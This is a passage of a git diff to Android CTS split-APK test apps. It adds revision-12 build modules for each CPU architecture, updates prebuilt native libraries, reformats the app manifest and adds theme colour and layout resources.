 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_arm64-v8a
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
index 206e207..ec56f79 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_arm64_v8a">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
index bcc8f51..427a89e 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw_revision/lib/arm64-v8a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw_revision/lib/arm64-v8a/libsplitappjni.so
new file mode 100755
index 0000000..86f2b35
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw_revision/lib/arm64-v8a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
index 234a7d8..6687baf 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_armeabi-v7a
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
index 1d19420..4e2526c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_armeabi_v7a">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
index 010c372..ddf14e0 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw_revision/lib/armeabi-v7a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw_revision/lib/armeabi-v7a/libsplitappjni.so
new file mode 100755
index 0000000..b5c0be7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw_revision/lib/armeabi-v7a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
index 0322dcd..7da6e34 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_armeabi
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
index 95fdb23..296e3b7 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_armeabi">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
index 8977e70..1a979df 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw_revision/lib/armeabi/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw_revision/lib/armeabi/libsplitappjni.so
new file mode 100755
index 0000000..d4e34fa
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw_revision/lib/armeabi/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
index 4ee13ba..481c7fe 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_mips
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
index 53ea38f..a35083f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_mips">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
index 45b8382..f50540d 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw_revision/lib/mips/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw_revision/lib/mips/libsplitappjni.so
new file mode 100755
index 0000000..78b6faf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw_revision/lib/mips/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
index 03c4305..1b29cf5 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_mips64
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
index 0b75613..f21da1f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_mips64">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
index 8c29904..bd298c4 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw_revision/lib/mips64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw_revision/lib/mips64/libsplitappjni.so
new file mode 100755
index 0000000..a1e67f2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw_revision/lib/mips64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
index 14144a6..a561cdc 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_x86
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
index 4219791..4a21985 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_x86">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
index 2993d92..9325b09 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw_revision/lib/x86/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw_revision/lib/x86/libsplitappjni.so
new file mode 100755
index 0000000..d7e2014
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw_revision/lib/x86/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
index 462c1cc..21ec259 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_x86_64
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
index e697d5c..0cef063 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_x86_64">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
index 23f4169..d977407 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw_revision/lib/x86_64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw_revision/lib/x86_64/libsplitappjni.so
new file mode 100755
index 0000000..3cc4b22
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw_revision/lib/x86_64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
index a2c050c..9cd26cf 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
@@ -15,44 +15,54 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.splitapp"
-    android:targetSandboxVersion="2"
-    android:isSplitRequired="true" >
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.splitapp"
+     android:targetSandboxVersion="2"
+     android:isSplitRequired="true">
 
-    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="27" />
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary="androidx.test.runner,
+        androidx.test.rules, androidx.test.monitor, androidx.test.services.storage" android:targetSdkVersion="27"/>
 
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
 
     <application android:label="SplitApp">
-        <activity android:name=".MyActivity">
+        <activity android:name=".MyActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.service.wallpaper" android:resource="@xml/my_activity_meta" />
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
         </activity>
         <receiver android:name=".MyReceiver"
-                android:enabled="@bool/my_receiver_enabled">
+             android:enabled="@bool/my_receiver_enabled"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED" />
+                <action android:name="android.intent.action.DATE_CHANGED"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".LockedBootReceiver" android:exported="true" android:directBootAware="true">
+        <receiver android:name=".LockedBootReceiver"
+             android:exported="true"
+             android:directBootAware="true">
             <intent-filter>
-                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".BootReceiver" android:exported="true">
+        <receiver android:name=".BootReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
             </intent-filter>
         </receiver>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.splitapp" />
+         android:targetPackage="com.android.cts.splitapp"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
new file mode 100644
index 0000000..cb95205
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/content"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:background="?attr/customColor">
+
+    <TextView android:id="@+id/text"
+        android:layout_height="wrap_content"
+        android:layout_width="wrap_content"
+        android:text="@string/my_string1"
+        android:background="?android:attr/colorBackground"/>
+
+</LinearLayout>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
new file mode 100644
index 0000000..e1961a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light cool colors for Theme_Base -->
+    <color name="custom_color">@color/blue_light</color>
+    <color name="navigation_bar_color">@color/teal_light</color>
+    <color name="status_bar_color">@color/aqua_light</color>
+
+    <color name="blue_light">#ffadd8e6</color>
+    <color name="teal_light">#ffe0f0f0</color>
+    <color name="aqua_light">#ffe0ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
new file mode 100644
index 0000000..ecde812
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="customColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
new file mode 100644
index 0000000..5cd838a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- cool colors for Theme_Base -->
+    <color name="custom_color">@color/blue</color>
+    <color name="navigation_bar_color">@color/teal</color>
+    <color name="status_bar_color">@color/aqua</color>
+
+    <color name="blue">#ff0000ff</color>
+    <color name="teal">#ff008080</color>
+    <color name="aqua">#ff00ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
new file mode 100644
index 0000000..f509892
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
@@ -0,0 +1,24 @@
